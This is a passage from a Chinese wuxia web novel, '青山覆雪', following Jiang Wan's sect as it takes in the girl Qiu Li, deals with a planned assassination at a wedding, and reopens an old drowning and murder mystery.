空气中弥漫着清新淡雅的茶香,伴随着邱漓充满眷恋与不舍的话语,更增添了几分感伤的氛围。 终于,邱漓松开了婆婆的那双手,拿起放在一旁的行李,慢慢地站起身来。 她深深看了一眼面前这位满脸慈祥的老人,强忍着眼中即将夺眶而出的泪水,柔声说道:“婆婆,那我走啦……” 婆婆向来就是个不善言辞的人,即便是当初教导冬苓之时,她也只是言简意赅,挑那些最为关键的要点来讲。 这半年来,都是邱漓一个人叭叭叭的说话,婆婆只是偶尔回应几句。 但邱漓知道,婆婆一定也是喜欢她的。 她身上穿的衣服,虽不是合身的,但却是干净的。 她睡觉盖得被子,虽不是崭新的,但却是温暖的。 她每日吃的饭菜,虽不是丰盛的,但却是好吃的。 婆婆是一日三餐的陪伴、是日日夜夜的照料、是没有血缘的亲情、是不求回报的付出。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“阿漓,路上小心,别生病了。”婆婆抬起头,目光温柔的对邱漓说道。 霎时间,邱漓泪水再也止不住,可又不想让婆婆看见她哭泣的样子,只能边走边倔强地点头,哽咽的说:“嗯!” 待她出门之后,秦在锦稍作思忖,言道:“你若是不放心婆婆,可以让婆婆去中律司的素月观住着,那里一日三餐都会有人准备,而且住的都是年龄上相差无几的长辈,想来也不会孤单。” 邱漓自是明白秦在锦这番提议乃是出于一片好心,然而她还是轻轻摇了摇头,表示婉拒。 “此前,我也曾向婆婆提及此事,想要带带着她一同离开鸣蜩山。” “但婆婆拒绝了,她说自己的根早已深深扎在此处,正所谓树若离其根,则必死无疑,所以她哪都不愿意去,只想一直守在这儿。” 听闻此言,秦在锦也没再多劝,出言宽慰道:“无妨,到时候你可以给她多寄些书信。” 就在这时,江挽接过话头,说道:“蒲月山庄距离此处并不算远,我会叮嘱栾华每隔三日便遣人前来送些物品。“ 此举一则可聊表关怀之意,二则也可确认婆婆是否安好无恙。 毕竟像婆婆这样年事已高之人,说不准哪天夜里就会于睡梦中悄然离世。 况且她还是独居于此,倘若当真遭遇什么突发状况,身边连个能够及时施以援手之人都没有。 邱漓闻听此言,心中满是感激,忙不迭地向江挽道谢:“谢谢挽姐姐!!” 江挽示意她不用客气,邱漓如今怎么着也算是她们三阁的一份子,这点儿忙她还是应该帮的。 毕竟,她可是要做个合格的老大! 在行至半山腰时,一道黑影从远处疾驰而来。 待靠近些才看清,是一只小巧玲珑的木鸽。 它扑棱着翅膀,稳稳地落在了江挽的肩头。 江挽伸出手,取下藏在它腹部信件。 展开信纸,只见上面仅有简短的一行字:萧秦大婚之日谋许。 字迹龙飞凤舞,透着一股凝重之气。 江挽看完这行字后,秀眉微微一蹙,脸色瞬间变得有些阴沉。 她下意识地将手中的纸条攥紧,仿佛要将其捏碎一般。 这只木鸽体内所蕴含的灵力并不多,由此推断出送信之人应该就在离此地不远的地方。 而这个最适合的地方,必然是蒲月山庄。 想到这里,江挽当机立断道:“我先行一步,在山庄等你们。” 话音未落,一阵清风吹过,扬起了她的衣袂和发丝。 待到众人回过神来,江挽的身影已然消失不见,只剩下那句叮嘱还在空中回荡。 “师……”江洵见此情形,心中一急,本能地想要追上去。 然而,他刚迈出两步,就被一旁的傅霖伸手拽住了。 “别急,既然她说先行一步,那想必不会有什么危险。”傅霖面色沉稳地说道。 他知道江挽的实力,定然不会遇到什么危险。 而且,那句话的言外之意,就是希望他们不要急于跟上去,以免打乱她的计划。 江洵虽然心有不甘,但听到傅霖这么说,也只好暂时按捺下来。 于是,一行人继续沿着山路缓慢前行。 与此同时,蒲月山庄的茶室里弥漫着淡淡的茶香。 栾华优雅地坐在桌前,专注地煮着一壶上好的茶水。 而在她身旁的窗户边,静静地站立着一位身姿挺拔的男子。 阳光穿透茂密的树叶,如细碎的金砂般星星点点地洒落下来。 光影交织之间,柔光削弱了他身上的疏离感。 那人玄衣黑发,勾着金丝的发带随风轻轻飘动,他微微侧身,对着窗外的院子望眼欲穿。 仿佛知道,那里会有人经过。 果不其然,没过多久,一个人影匆匆忙忙地奔了过来。 当江挽的视线触及到沈峥渡时,她猛地止住了脚步,眼神中流露出一丝警惕。 随即,甩出藏在袖间的星回。 顷刻间,寒光乍现,星回毫不犹豫地朝着沈峥渡疾驰而去。 而就在星回即将刺入肩膀的一刹那,那人迅速出手,用两指夹住了短刃。 沈峥渡嘴角微微上扬,调侃道:“怎么?就这么迫不及待地想要我的命?” 听到这话,江挽眼中闪过一丝狠厉之色,冷声道:“许青临什么时候都可以杀,但决不能在大婚那日。” 阳春门和暮商宗此次联姻是一件足以震动整个江湖的大事,那些在武林排行榜上赫赫有名的名门正派必定都会前来祝贺观礼。 而许青临作为一宗之主,自然也不会错过这个重要的场合。 如此一来,在这人来人往的热闹氛围之中,想要神不知鬼不觉地暗杀一个人,并非难事。 可那是秦念淑的大喜之日,她不允许任何人借此做局,包括她自己。 “我是在通知你,而非询问你!” 沈峥渡面无表情地将星回调整到一个合适的角度,然后动作利落地递给江挽。 本小章还未完,请点击下一页继续阅读后面精彩内容!江挽接过星回,藏入袖中,说道:“我是在警告你,并非是通知你。” 话落,便稳步朝着屋内走去。 言外之意很明显,只要沈峥渡胆敢有所行动,她必定会采取措施让其无法得逞。 一旁的栾华见状,递上一杯茶水给江挽。 与昨日不同的是,江挽并未立刻喝下茶水,只是轻轻地接过杯子放在桌上。 她虽然相信栾华的为人,但她不信沈峥渡。 此人向来心思深沉、难以捉摸,情绪更是变化无常,着实令人不喜与之过多交往。 但有时候,为了省去一些麻烦事,也会借助沈峥渡之手除掉那些自己想要除掉的人。 同样的,对于沈峥渡来说,有些不好亲自处理的事儿,他也会委托江挽去帮自己解决。 他们二人都并非是彼此手中任人摆布的棋子,更像是坐在棋盘两端的棋手,各自布局谋划着。 有危险时,便一致对外,没有危险时,对方便是最大的危险。 见江挽坐下,沈峥渡也随意地坐在一处,问道:“你这么反对,不会是因为秦念淑吧?” 否则,他实在想不通,江挽为何会放弃这个大好的机会。 说是随时都可以杀,但若真如嘴上说的那么简单,许青临就不会活到现在了。 这种牵一发动全身的事情,哪会那么轻易就完成。 再者说,相月山在整个江湖的地位可谓是不输暮商宗,甚至比暮商宗更得百姓喜爱,而这其中大部分的原因在于许青临的为人。 他本就长得一副书生模样,再加上性子温和宽厚,很容易让人对他放下戒心。 而且他当宗主的这么些年来,相月山弟子上下一心,没一人不服他。 这样的好人,若是突然死了,别说是相月山,就是中律司都得专门出个任务来查询他的死因。 所以这么些年来,江挽哪怕怀疑过相月山,但从未怀疑过许青临。 因为她知道,许青临并非伪君子。 “你甭管我是因为谁,现在还不是时候。”江挽说道。 “倘若我告诉你,当年之事,阳春门也参与了呢。” 沈峥渡的目光直直的盯着江挽,他想要看那人惊慌失措的样子,一定很有趣儿。 可江挽依旧一脸平静,从容不迫的回道:“参与了又如何?我说不是时候,那谁都不能动手。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第141章 三心二意 “我也希望你能理智的考虑一下,切莫意气用事,毕竟过了那一日,可就再难寻到合适的机会了。”栾华抬头说道。 “如果那日是你的大喜之日,到头来却为别人做了嫁衣,你作何感想?你扪心自问一下,当真毫不在意?”江挽反问道。 被问到的栾华愣了一下,如果是她...... 不对,她不会有那一天。 长相厮守,恩爱一生的故事,只存在于话本之中。 分道扬镳,各自安好的故事,才是最适用于她的。 她的沉默已经表明了她的态度。 可若真有那一日,莫说是给别人做嫁衣,就是有人扰了她的兴致,她都得把那人活撕了。 什么阿猫阿狗敢来败兴! “行了,既然你不愿,我也不强迫你,反正距离大婚还有些时日,你再好好想想。” 沈峥渡站起身准备离去,他知道江挽的小跟班们要找过来了,他目前可不想跟江湖中人有太多牵连。 “慢走不送。”江挽说道。 见到她竟然丝毫没有起身相送的意思,栾华犹豫片刻后,也静静地坐在原地,纹丝未动。 昔日里只要沈峥渡准备离开,她都会站起身来,亲自将其送到门口。 如今她突然觉得,她是在她手下谋事,可那也是各取所需! 她为什么要矮人一截儿?他们又不是上下属的关系。 走到门前儿的沈峥渡突然停下了脚步,朝桌前的二人看了过去。 他总觉得少了点儿什么,可一时之间却又没发觉是哪里不对劲儿。 江洵等人到了山庄的时候,这里早已没了沈峥渡的身影儿。 泱泱看到几人的身影,赶忙笑着迎了上去。 “你们应该都还饿着肚子吧?厨房里正忙着做饭呢,等会儿吃完饭好好休息一下,我晓得你们昨晚没怎么睡觉。” 秦在锦刚一踏入房门,便察觉到江挽那略带打量的目光落在自己身上。 可他绞尽脑汁也想不出江挽这样为何这般盯着自己。 于是,他有些忐忑不安地凑近江洵身边,压低声音问道:“我脸上是不是沾了什么东西呀?” 江洵连头都懒得抬一下,随口敷衍地回答说:“没有啊。” 听到如此漫不经心的回应,秦在锦撇了撇嘴,忍不住伸出胳膊轻轻撞了一下江洵,略带不满地嘟囔道:“洵哥!稍微尊重我一下,好吗?” 江洵这才缓缓地将视线转移到了秦在锦脸上,紧接着一脸严肃地说道:“没有!够尊重吗?不够的话,我给你加点?让你脸上有点什么东西?” “别!够了!够尊重了。”秦在锦下意识的伸手捂住了自己的脸颊。 原本大家计划着吃完饭之后便立刻动身启程,可冬苓一想到路上舟车劳顿的场景,再加上昨晚上没有休息好,顿时没有启程的想法了,只想躺在床上睡一觉。 于是,她拉着几人一合计,最终还是决定明日一早再走,今天就在山庄上住一天,左右眼下也没什么急事儿。 待饭后,几人都回到自己房间小憩的时候,江挽静静地坐在院子中央的石桌旁。 她在思考沈峥渡那句话的意思,她无疑是相信秦方礼和秦念淑二人的,可阳春门并不是秦方礼一个人说了算的。 就像献岁阁也不只是方震一人说了算一样。 阳春门有着众多药师,有些不乏是同秦方礼关系匪浅之人,倘若真的查出点什么,她又该如何向秦方礼提及? 微风吹拂起青衫,连带着那人的叹息。 “你怎么不去睡?”江挽问向身后的来人。 “三阁主不也没睡。”傅霖自顾自的坐了下来。 “总要有个人是醒着的。”江挽说道。 蒲月山庄虽安全,但终究不是在献岁阁,再加上沈峥渡还未离开青州地界儿,留个心眼儿总归是没错的。 “晚辈有个问题想要请教一下。”傅霖说道。 话虽是这么说,可那人脸上却完全不像是一副“虚心请教”的样子,更像是让对方“如实招来”的神情。 “问。” “江洵于你来说,是什么?” 他不打算旁敲侧击的去问,因为他不认为江挽会同他说实话。 索性开门见山,更直截了当一些。 听到这个问题,江挽垂眸一笑,“自然是徒弟。” “不是棋子么?” “分情况、分地点、分时间。” 江洵可以是三阁的弟子、可以是秦在锦的兄弟、还可以是赵玉洲的兄长。 需要利用之时,自然可以是棋子。 若不需要之时,当个乖乖徒弟也没有不可以。 “没有否认,就是咯。” 傅霖盯着眼前的江挽,眼底划过一丝冷意。 他早就知道,江挽不可能毫无缘由的对江洵好。 想来有些谋划,或许在收江洵为徒的那日起,便已经埋下了种子。 面对傅霖如此直白的质问,江挽丝毫没有想要辩驳或者掩饰的意思。 只见她缓缓抬起头,目光直直地望向头顶上方那片四四方方的天空。 这章没有结束,请点击下一页继续阅读!此时,正好有两只小巧玲珑的麻雀正在屋檐之上欢快地跳跃着,似乎在寻找食物充饥。 它们先是一同蹦跳到一块瓦片前面,紧接着其中一只向左跳开,另一只则向右跳去。 最后,这两只小麻雀又如约而至般一先一后地迅速消失在了江挽的视野范围之内。 “你大可不必费尽心思地试图揣测我心中所想。假如真有那一天,你认为江洵会坚定地站在我这边呢,还是义无反顾地投靠于你?” 江挽目不转睛地凝视着傅霖的双眼,冷冷说道。 江洵其实是一个极其重情之人,但凡是走到他心里的人,他都会全心全意的捧着、敬着、让着。 可事情有轻重缓急,人亦有三六九等。 江洵是对傅霖心生好感,这么点喜爱远远不及她多年来的教导和付出。 傅霖如今问的这番话,确实还不太够格。 他一没身份,二没立场。 倘若是秦在锦来问,江挽还能心平气和的坐下来同他闲聊几句。 可傅霖,江挽突然笑了。 “你在质问于我之前,何妨不先扪心自问一下,你又把江洵当什么了?是在温如玉那碰了壁所以来我洵儿这找找面子?真是个三心二意的胆小鬼。” 面对这番话语,傅霖陷入了沉默。 有些话点到为止就好,说多了怕伤人孩子的心。 “傅钺,珍惜眼前人。” 傅霖听到这个名字的瞬间抬起头,不可置信的看向江挽。 她怎么会? “怎么?羊皮披久了就忘了自己是谁了?” “你调查我?” “能让我主动调查的人,都是我要杀的人。” 言外之意,我们并非敌对关系。 江挽悠悠地站直身子,脸上流露出一丝倦意,显然已不想再与眼前之人多说什么。 对于傅霖的身世背景,她心知肚明,自然也知晓他母亲是何人。 刚才的那几番言语交锋,不过是想试探一下傅霖对江洵的看法和态度罢了。 如果真到了刀剑相向的那一日,她会毫不犹豫的带着江洵投降。 次日清晨,天际刚刚泛起鱼肚白,几个人便收拾行装准备启程。 临行之前,泱泱特意前往厨房取了一些热气腾腾的包子,给他们在路上充饥果腹。 不知不觉间,太阳逐渐升高,当他们终于抵达献岁阁时,时间已然过了正午时分。 秦在锦和冬苓并没有跟随众人一同进山,而是选择在山脚下与大家挥手作别。 秦念淑的婚期日益临近,身为其嫡亲弟弟的秦在锦,理所当然要赶回阳春门去协助操办婚礼事宜。 至于冬苓,收到家书,无他,她五哥在催她回家。 想来,也有一段时日没回去了。 于是,几人在此处就此分道扬镳,并约定好下一次在阳春门见。 “请问,怎么是要自己爬上去吗?” 邱漓仰起头,望着那仿佛没有尽头的长长台阶,不禁叫苦不迭。 就这么一路攀爬上去,不得累个半死? 她还是个孩子啊!!! 她现在改道去阳春门还来得及吗? “是的,走上去。”江洵伸手去扶江挽,那人早上出门之前把白纱带上了。 邱漓见状也伸出了手,“霖哥拉一把呗。” “拉多生疏,要不背你?”傅霖说道。 “这多不好意思。”邱漓笑着摸了摸头。 “不好意思的话少说!自己上!”傅霖冷哼一声,率先向前走去。 四人中就邱漓走的最慢,另外三人都走到山顶了,她还在半山腰。 她感觉她已经把这辈子的楼梯都走完了。 好不容易登上了山顶,可哪里还能看到江洵他们的半点身影啊! 放眼望去,只见一个宛如团子般可爱的小孩儿正安安静静地坐在一块大石头上看书。 许是察觉到有人靠近,那孩子缓缓地微微转过头来,眨巴着那双水汪汪的大眼睛,软糯糯的声音好奇地问道:“你是漓姐姐吗?” 邱漓一边大口喘着粗气,一边结结巴巴地回答道:“我……我我是……” 不是都说那些修仙之人一个个都能够腾云驾雾、御剑飞行的嘛! 怎么这个门派还得自己爬山梯? 莫非不靠谱??? 小团子已经合上了手中的书籍,然后动作利落地从石头上轻轻一跃而下。 他拍了拍身上的灰尘,抬起头看向邱漓,脆生生地说道:“那你跟我走吧。” “等等……等会儿!!!”邱漓赶忙出声喊道,同时一只手撑在一旁的石壁上,整个人像一摊烂泥似的靠在了上面。 今天这天气本就异常炎热,再加上刚刚费了九牛二虎之力才爬上来,此刻的她只觉得浑身黏腻腻的难受极了,仿佛所有的力气都被抽干了一般。 见此情形,赵玉洲连忙从怀中小心翼翼地掏出一块洁白如雪的手帕,递到邱漓面前,并贴心地说道:“姐姐,你先用这块帕子擦擦汗吧。” 邱漓毫不客气地接过手帕,却发现帕子的一角精心绣着几朵鲜艳欲滴的紫薇花,针脚细密整齐,图案栩栩如生,煞是好看。 本小章还未完,请点击下一页继续阅读后面精彩内容!一时间,她竟然有些舍不得使用这么精致漂亮的手帕了。 这般好的东西,她自是没有的。 “挽姐姐给的。”赵玉洲赶忙回道。 这是他生辰那日,江挽连着旁的生辰礼一并送给他的。 阿娘的名字里有个“紫”字,所以江挽在上面绣了紫薇花。 她说:星星要等晚上才能看到,但手帕上的紫薇花想看便能看。 赵玉洲突然想到还未向邱漓介绍自己,于是立马站直了身子,一本正经地说道:“初次见面,你好!我是三阁的赵玉洲,今年六岁了。” “你好你好,我叫邱漓,今年八岁。” “八岁???!!!!”陈叔看着眼前的女娃娃,怎么瞧都不是八岁的样子。 方才听江挽说捡了个八岁的女娃娃回来,他还想着这下赵玉洲终于不孤单了,也算是有同龄人能陪着一起玩了。 可看到和赵玉洲一同进来的姑娘时,顿时傻了眼,谁家孩子八岁能长这么高??? 这是吃什么长大的??? 而郜林站在一旁,时不时的发出一声冷笑。 呵,八岁? 呵,八岁! 等邱漓向众人解释了来龙去脉以后,郜林第一个问道:“格非被关到哪儿了?” 什么药这么有用???他要自告奋勇去试药!!! 长高什么的都是其次,他就是有善心罢了,就是想要替人排忧解难! “你不用长高。”慕语说道。 本以为他会说出什么安慰人的话,只听他继续说道:“你的骨头已经闭合,吃什么药都是无用,还是莫要浪费药材了。” “要不让你闭嘴呢!”郜林翻了个白眼,伸手就要去捂慕语的嘴巴。 真该死啊!!!叫什么慕语啊!改名叫无语吧!!! “不过......日后旁人若问起,便说是十四岁吧,免得还要多做解释。”江挽说道。 “好的!听阿姐的!”邱漓利索的点了点头。 “阿姐???”江洵听到这个称呼皱了下眉头。 邱漓不以为意的“嗯”了一声,赵玉洲不是喊她“挽姐姐”么,那自己叫她“阿姐”又有何不妥? 叫阁主怪生疏的,而且她自己也看的出来,三阁并没有那么严苛的等级制度。 嗯......也有可能是人少的缘故吧。 没来三阁之前,她以为这里都是同江洵这般年纪的人,意气风发的少年郎。 当看到赵玉洲的时候,她还宽慰自己,兴许人家就是从娃娃开始培养。 而当见到了三阁的众人后,她脑子里又闪过了那个念头。 这门派到底靠谱吗? 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第142章 雪兆丰年 因着婚期将近,三阁的人也没再去出任务,因为秦大小姐派人给每人都送了请帖,一同送来的还有酿好的阳春酒。 邱漓起初来的那几天还有些拘谨,跟谁讲话都客客气气的。 可这些时日相处下来,倒是显示出孩子心性了,不再是一副小大人的模样。 况且还天天同赵玉洲抢鸡腿吃,抢不过就把蛊虫掏出来吓唬赵玉洲。 这一天里,赵玉洲得哭上三次。 住在隔壁的江洵都想找个棉花把耳朵堵上了,怎么这么能闹腾? 他十四岁的时候也不这样啊! 怎么那俩加一起十四岁的就这样了呢! 陈叔此时正悠然自得地躺在那张陈旧的摇椅上,一边摇着蒲扇,一边喝着阳春酒。 他微眯着眼,饶有兴致地看着眼前赵玉洲和邱漓因为一件小事儿争执不停。 说来也怪,这孩子在别人面前总是乖巧懂事的,可一旦碰上赵玉洲,那不是吼就是动手的。 陈叔在一旁不但没有出言劝阻,反而不时地煽风点火、添油加醋一番,似乎这火不够旺。 邱漓打赢了以后转身就往前跑去,一个没留神撞到了刚做完任务匆匆赶回的瑶卿。 一时间,二人四目相对,场面有些许尴尬。 邱漓并不认识瑶卿,之前也从未见过,自然也不知自己撞到的是谁。 而瑶卿在归途中收到了江挽的信件,得知三阁最近新添了一个孩子,想来就是眼前这位。 正当气氛略显僵持之时,赵玉洲的呼喊声打破了这份宁静。 这个小家伙欢快地蹦跶着小腿儿朝这边跑来,口中兴奋地叫嚷着:“瑶姐姐!!!!” 听到呼喊声的邱漓,稍作迟疑后也赶忙跟随着一起喊道。 这小姑娘面容姣好,乖巧伶俐的模样更是惹人怜爱,任谁见了都会心生欢喜之情。 瑶卿笑着回应,同时伸手从怀中取出两个精致的木盒。 从外观来看,倒像是专门用于盛装首饰之物。 她将木盒递给眼前的两个孩子,柔声说道:“给你们买的小礼物。” 邱漓微微一愣,双手缓缓接过木盒。 当她揭开盖子,看到盒内所藏之物时,整个人不禁有些发怔,满脸疑惑地轻声问道:“这……这是给我的吗?” 那是一对闭口的素圈银镯子,通体闪烁着柔和的银光,没有任何花纹和图案,倒显得镯子更加圆润光滑。 "嗯,给你的。" 瑶卿动作轻柔地抚摸着她的小脑袋,仿佛对待一件珍贵无比的宝物一般。 她对深塘坞那个任务有所耳闻,自然也了解了邱漓的成长环境。 她并不是在呵护中长大的孩子,甚至不是以爱的名义降临到这个世上的。 而与之形成对比的是赵玉洲,她是被爱意包裹的孩子,是被捧在掌心的小公子。 可这样差距之大的两人,如今却站在同一个地方,拿着同样的镯子,过着同样的生活。 被爱也好,被恨也罢。 太阳,终究会升起,到那时,光便会撒在孩子们身上。 虽不够温暖,但足够敞亮。 "在姐姐家乡呢,有这么个习俗:每当家中迎来新生命时,长辈都会精心挑选出一对银镯子送给孩子,寓意着他们以后的生活平安顺遂。” “所以,姐姐也就自作主张地给你们俩都买了一对儿,也不知你们喜不喜欢。" 瑶卿解释道。 听到这里,邱漓不禁感觉鼻尖微微发酸,眼眶也渐渐湿润起来。 如此饱含深情厚意的礼物,又怎能不心生欢喜呢? “喜欢的,可我不是小孩子了,我还可以戴吗?” 邱漓轻咬嘴唇,用略带颤抖的声音低声询问道。 “你怎么不是小孩子啦?你老是跟我抢鸡腿!可怕得很!大人才不会跟我抢吃的呢!” 赵玉洲说着就要把镯子往手上戴。 其实,这类物件儿对他来说并不稀奇,莫说银镯子,就是更为贵重的金镯子玉镯子,他也戴过。 可如今,他却喜欢这对款式简单,甚至有些不起眼的镯子。 “谢谢瑶姐姐,州州真的特别喜欢!” 赵玉洲满心欢喜地说着,同时迅速撸起自己的袖子,将手腕上的镯子展露无遗。 瞧啊!这可是阿姐特意给他买的呢! 话落,小家伙像阵风似的奔跑而去,迫不及待地要去向陈叔显摆一番。 等赵玉洲走了以后,瑶卿的目光转向了一直低头沉默不语的邱漓。 她缓缓蹲下身子,柔声道:“你知道吗?在这里,无论什么年纪、无论什么出身,只要入了阁,那便是三阁的孩子。” 说话间,瑶卿拭去女孩脸颊上挂着的泪珠,继续说道:“欢迎你来到三阁,同时也谢谢你选择我们成为你新的家人。” 话落,瑶卿向邱漓伸出了一只温暖的手掌。 邱漓虽有些迟疑,但很快紧紧地回握住了那只手。 紧接着,她又向前迈了一小步,猛地扑进瑶卿怀中,放声痛哭起来。 她一边抽泣,一边哽咽着说道:“我喜欢的!我喜欢这个镯子,我也喜欢三阁,我都会好好珍惜的!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!等邱漓心情逐渐平复以后,瑶卿才去后院寻江挽。 江挽眼下站在书房的桌前习字,眼神正专注于笔下的纸张。 忽然间,一阵轻微的脚步声传来,她不用抬头便猜到是谁进来了,于是头也不抬地轻声说了句:“回来了。” 瑶卿一听这话,不禁轻哼一声,嘀咕道:“你怎么连看都不看一眼就能知道是我!” 她大摇大摆的坐在堂屋的椅子上,一点也不客气地伸手捏了块桌上的糕点塞进嘴里。 这一路上她可是快马加鞭从仁州赶回来的,根本就没时间坐下来好好吃上一顿饭,早就饿得前胸贴后背了。 “除了你,还有谁会这般没个规矩。” 江挽抬起头来,嘴角微扬,似笑非笑地看着瑶卿说道。 再瞧那张书桌上,已经堆满了一张张用过的宣纸,而每张宣纸上都密密麻麻地写满了同一个字——“秋”。 “仁州……那是花朝楼的地界儿,可有打听到什么稀奇的消息?” 江挽缓缓放下手中的毛笔,端详着自己完成的这些“作品”,眼中流露出一丝满意之色。 瑶卿听到江挽如此发问,一时间竟然有些不知所措,不知道该如何回答才好。 然而,这种沉默往往也就意味着默认或承认。 江挽从书房中走来,依旧穿着那一袭素雅的青衫,乌黑的长发随意地用一支简单的木簪子盘起,整个人散发出一种慵懒却又无比舒适的气质。 “说呗,陈叔不在这儿。” 江挽还没来得及在椅子上坐稳,瑶卿就连忙将倒好的热茶递到了她面前。 “是这样的,那日我在酒馆里撞见了一个醉醺醺的老头儿,他说他以前是是花府的伙夫呢。” 瑶卿皱着眉头,神情显得有些严肃。 那老头儿喝得迷迷糊糊,但说起话来却还算清楚。 那老头说花停云竟不仅是个旱鸭子,还对水有着极度的恐惧。 据说花府的前院里原本有个不小的池塘,里面养着各色锦鲤,景色宜人。 然而不知何故,有一天花岐突然下令让人将那个池塘填平了。 更令人费解的是,自那以后,花府内所有的水缸都必须用盖子严严实实地盖住,生怕被花停云瞧儿见。 一旁的江挽听后轻笑道:“他是旱鸭子???” 想当年花停云出事的时候,不过也就七八岁的年纪。 那时正值盛夏,天气炎热难耐,几个孩子在河边嬉戏玩耍。 负责照看他们的仆人只是转身回屋拿个糕点的工夫,再回过头来时,花停云等人已消失得无影无踪。 要知道,和花停云一起玩耍的那些孩子,个个都是出身名门望族,非富即贵。 若是其中任何一个出了什么差错,那仆人都担不起这份责任! 所以,那人干脆一不做二不休,丢下手中的活计,匆匆收拾好行李,逃命去了。 再看花岐,他直到中年方才得了这么一个宝贝儿子,平日里自然是百般疼爱,视若掌上明珠。 仅仅是短短两三个时辰没有见到儿子的身影,他就心急如焚,赶忙派出众多家丁四处寻找。 可是把这附近能够想到的地方全都翻了个底朝天,却依然没有发现半点孩子的踪迹,这下子,花岐终于意识到情况有些不对劲了。 此时,和他一同出来寻找孩子的还有陈致知。 他本来就跟花岐交情匪浅,平日里关系处得相当不错。 这不,正好赶上他们一位共同好友的女儿出嫁,几人才有机会凑到一块,好好地叙叙旧情。 “你先别这么着急,孩子们都是一起出去的,要是真遇到啥危险状况,肯定会弄出不小的动静来。”陈致知赶忙出声宽慰道。 “我怎能不着急?!!那可是我的心头肉啊!!!万一有个三长两短,叫我以后可怎么活!!!” 花岐又气又急,声音不自觉地拔高了八度,带着满满的焦虑与担忧。 就在众人如同热锅上的蚂蚁一般焦急万分之时,花朝楼的几位弟子在一条河流的下游岸边发现了那几个孩子的身影。 听到这个消息后,花岐二话不说,立刻马不停蹄地朝着那个方向飞奔而去。 等他赶到那里时,只见花停云正站在岸边,身体不停地瑟瑟发抖,看起来被吓得不轻。 “爹爹来了,停儿莫怕,有爹爹在这儿保护你呢。” 花岐心疼不已,三步并作两步冲上前去,一把将儿子紧紧地搂进怀中,仿佛只有这样才能让自己那颗悬着的心稍稍安定一些。 同时,还不忘用手轻轻拍打着花停云的后背,柔声安抚着他受惊的情绪,生怕他再有任何闪失。 还未等另外几个孩子的情绪平复,大人们便迫不及待地询问他们究竟跑到哪里去了,为什么会突然不见踪影。 然而面对大家关切的目光和连珠炮似的追问,那几个孩子却只是面面相觑,一个个都低着头。 最后,吞吞吐吐地说他们只是沿着河边随便走走玩玩而已,哪儿也没去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!许是意识到这个借口实在难以令人信服,稍微年长一些的孩子解释道:“我们当时是想去河里抓鱼,不小心没站稳,直接就被水流给冲走了。” 听到这里,陈致知不禁皱起眉头,满脸狐疑地追问道:“那你们最后又是怎么上岸的?” 这时,孩子们纷纷把目光投向了站在一旁默不作声的花停云。 其中一个孩子迫不及待地开口说道:“是停云救我们上来的!” 紧接着,另一个孩子也随声附和起来:“对对对,我醒来之后,睁开眼睛第一眼看到的人就是他!” 这番话若是说给其他人听,说不定还真有可能相信。 然而,作为花停云父亲的花岐心里却跟明镜儿似的。 他可太了解自己的儿子了,花停云根本就不会游泳,连自己在水里都自顾不暇,又怎么可能在保证自身安全的情况下,还能成功救下其他几个孩子呢? 所以,当他正准备开口替儿子解释几句的时候,却突然听到花停云轻轻地点了点头,应声道:“嗯,是我。” 眼看孩子们如今都安然无恙,也就没有再纠结这件事情背后的真相到底如何了。 毕竟,只要孩子们平平安安的,比什么都重要。 可让人意想不到的是,仅仅过了不到两天的时间,就有人在河面上发现了陈丰年的尸体! 经过仵作的检查,最终确定陈丰年的死因并非溺水身亡,而是被人活活勒死。 陈致知在看到陈丰年尸体的那一瞬间,感觉双腿都不听自己使唤了,愣是站在原地不敢向前踏出半步。 陈丰年的生命,在他二十八岁那年,戛然而止。 而时至今日,都未能找到他究竟是因何而死。 有人说他是死于精心策划的谋杀,先是勒死再抛尸到河中。 也有人是当年的仵作验错了,就是不幸溺水身亡罢了。 可陈叔从不认为是后者,他知道丰年自幼熟谙水性,溺水而亡对他来说简直是天方夜谭! 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第143章 春知几许 “您的意思是,花家隐瞒了事情的真相,那些孩子并非是被花停云所救。”江挽说道。 的确,仔细想来,这件事本就有诸多蹊跷。 且不说一个人根本不懂游泳,想在水中自救已是难如登天,更遑论还要去救他人? 况且,有些孩子的体格远比花停云要高大壮实,他又怎能有足够的力量将所有孩子都救上岸? 但这件事最诡异之处在于,陈丰年当时为何会出现在那个地里? 据陈叔回忆,那几天陈丰年在外出执行任务,并未与他一同参加喜宴。 “我特意多打听了几句,听闻当年那几个孩子要么全家下落不明,要么早早就意外去世了。”瑶卿压低声音说道。 “这事儿先不要同陈叔讲,我托人再去查查。”江挽回。 事关陈丰年,在一切没有水落石出前,陈叔还是不知道为好。 他那个身体本就一年不如一年,若是查到最后还是一无所获,他该有多绝望。 而且这件事已经过去那么多年,花停云都成一楼之主了,想从他嘴里套出点什么实话,更是难上加难。 瑶卿一口饮尽杯中的温茶,说道:“我知道,我不会同他提起的,我有分寸。” “对了,我前段时间去鸣蜩山的时候,遇见南宫娴了。”江挽说完这话,看向瑶卿。 只见那人原本笑着的脸突然僵硬了一瞬,但也只是一瞬。 “那还挺巧。” “她还托我向你问好来着。” 瑶卿冷哼一声,“用不着儿。” 倘若真的用不着,在听到那人名字之时就不会有任何反应了。 说到底,还是没放下。 说到底,还是心不甘。 时光犹如潺潺流淌的溪水一般,日复一日地悄然流逝着。 终于,在秦念淑即将嫁人的前几日,三阁的几人开始着手收拾行李,准备前往淮州。 细细算来,他们已经好久未曾一同下山了。 回想起上一次大家结伴出行之时,还是去岭泉村的时候。 不知不觉间竟已过去了如此之久。 淮州距离青州并不算太远,如果选择骑马前行,速度倒也是快的。 然而,考虑到还有需要送去的礼品,最终一致决定乘坐马车。 左右时间也是够得,就当是出门玩个几天。 只是,当瑶卿登上马车时,却发现温如玉竟然也在车上。 她不禁皱起眉头,满脸郁闷地质问道:“怎么哪都能见到你啊?” 听到瑶卿这番不客气的话语,温如玉翻了个白眼。 而后,不疾不徐地从怀里掏出一张精美的请帖,在瑶卿面前晃了晃,“看清楚这上面的两个字念啥没?给我大声读出来!” 瑶卿轻哼一声,别过头去,不屑道:“不好意思,没读过书,不识字儿。” 说完,她又把目光转向一旁的方知许,语气略带不满地追问:“你又是何时跟秦姑娘这般好的?” 